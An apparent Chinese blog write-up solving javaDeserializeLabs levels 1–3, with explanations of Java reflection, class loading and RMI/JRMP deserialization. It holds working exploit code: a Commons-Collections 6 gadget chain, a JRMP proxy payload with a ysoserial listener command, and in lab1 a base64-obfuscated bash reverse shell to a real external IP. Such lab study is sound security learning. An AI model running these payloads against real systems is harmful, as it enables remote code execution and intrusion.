0%

java_deserializelab

javaDeserializeLabs

https://github.com/waderwu/javaDeserializeLabs

自己练一练写exp,顺便思考一下各种细节

lab1

题解

远程内置一个恶意类,通过反射修改private字段来rce。注意package要与远程一致才可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package deserializelab.lab1;

import java.lang.reflect.Field;

import static utils.Utils.objectToHexString;

public class lab1 {
public static void main(String[] args) throws Exception {
com.yxxx.javasec.deserialize.Calc calc = new com.yxxx.javasec.deserialize.Calc();
setFieldValue(calc, "canPopCalc", true);
setFieldValue(calc, "cmd", "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ5LjIzMy4xMTUuMjI2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}");
System.out.println(objectToHexString(calc));
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

setFieldValue

1
2
3
4
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

这是位于ysoserializeReflections的代码,用于给private属性的变量赋值,但是我们经常会看到在之前加一句:field.setAccessible(true);

值为 true 则指示反射的对象在使用时应该取消 Java 语言访问检查。值为 false 则指示反射的对象应该实施 Java 语言访问检查;实际上setAccessible是启用和禁用访问安全检查的开关,并不是为true就能访问为false就不能访问 ;可以达到提升反射速度的目的

lab2

题解

pom.xml里有cc3.2.1,反序列化入口点给了,可以直接用cc链打,考虑到jdk8,cc4567都能用,随手抄了一个cc6,这个题在反序列化对象之前需要先读一个字符串和一个int,我们用ObjectOutputStream接入byteArrayOutputStream后先writeUTF再writeINT,这样就能按照题目的要求读了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package deserializelab.lab2;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

import static utils.Utils.bytesTohexString;

public class lab2 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

TiedMapEntry tiedmap = new TiedMapEntry(map,123);

HashSet hashset = new HashSet(1);
hashset.add("foo");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);
try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeUTF("SJTU");
outputStream.writeInt(1896);
outputStream.writeObject(hashset);
System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray()));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}

lab3

loadClass和class.forname

算是在做这一关时候卡了很长的部分,之前我知道loadClass不能执行static部分,需要配合newInstance才行,但是forname会把这一部分都搞定,今天知道了loadClass无法load数组。

核心在于原来题目中的ObjectInputStreamreadObject里对对象的加载方式,基本的readObject思路为:readObject->readObject0->readOrdinaryObject->readSerialData,依次往复,其中在readOrdinaryObject里代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectStreamClass desc = readClassDesc(false);//获取对象标识符
desc.checkDeserialize();

Class<?> cl = desc.forClass();//直接拿到类
if (cl == String.class || cl == Class.class
|| cl == ObjectStreamClass.class) {
throw new InvalidClassException("invalid class descriptor");
}

Object obj;
try {
obj = desc.isInstantiable() ? desc.newInstance() : null;
} //再根据类创建实例,往下递归读取序列化数据

而本题的readObject采用的自己的写法,基本上是继承了ObjectInputStream,但是在resolveClass部分进行了修改。我们先看看在原来的ObjectInputStream里什么时候调用的resolveClass:

1
2
3
4
5
6
7
8
9
10
11
12
readOrdinaryObject:
ObjectStreamClass desc = readClassDesc(false)
//获取类的标识
readClassDesc:
case TC_CLASSDESC:
descriptor = readNonProxyDesc(unshared);
break;
//进入到非代理类的标识
readNonProxyDesc:
if ((cl = resolveClass(readDesc)) == null) {
resolveEx = new ClassNotFoundException("null class");
//在这里链接指定Java类

所以说有些禁止反序列化就是在resolveClass处禁止的。

原来的resolveClass的核心代码是:

1
2
3
4
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
}

现在变成了

1
2
Class<?> clazz = this.classLoader.loadClass(desc.getName());
return clazz;

loadClass没有变,采用的就是双亲委托机制进行findClass:https://xz.aliyun.com/t/9002

关于为什么loadClass加载不了数组class,我没有在loadClass往再上层加载器的地方细跟,只是知道一直返回的是ClassNotFound。

1
2
Class.forName("[[B");//没事
ClassLoader.getSystemClassLoader().loadClass("[[B");//报错

二者差别在此:https://blog.csdn.net/alex_xfboy/article/details/89505173,https://aisia.moe/java6api-cn/java/lang/ClassLoader.html

关于这个[的写法搜到了相关文章:https://stackoverflow.com/questions/20738207/how-to-get-a-array-class-using-classloader-in-java

RMI的攻击——JRMP二次反序列化

当时学rmi没学懂,发现差的有亿点多。

https://www.cnblogs.com/escape-w/p/16107675.html

https://xz.aliyun.com/t/7930

https://xz.aliyun.com/t/7932

好吧,我好像打通了,但是发现java小版本在这里有很大的区别。

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package deserializelab.lab3;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import static utils.Utils.bytesTohexString;

public class lab3 {
public static void main(String[] args){
String command = "*******:9999";
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(lab3.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeUTF("SJTU");
outputStream.writeInt(1896);
outputStream.writeObject(proxy);
System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray()));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}

在服务器上java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "touch /tmp/sbsb"

就能rce了。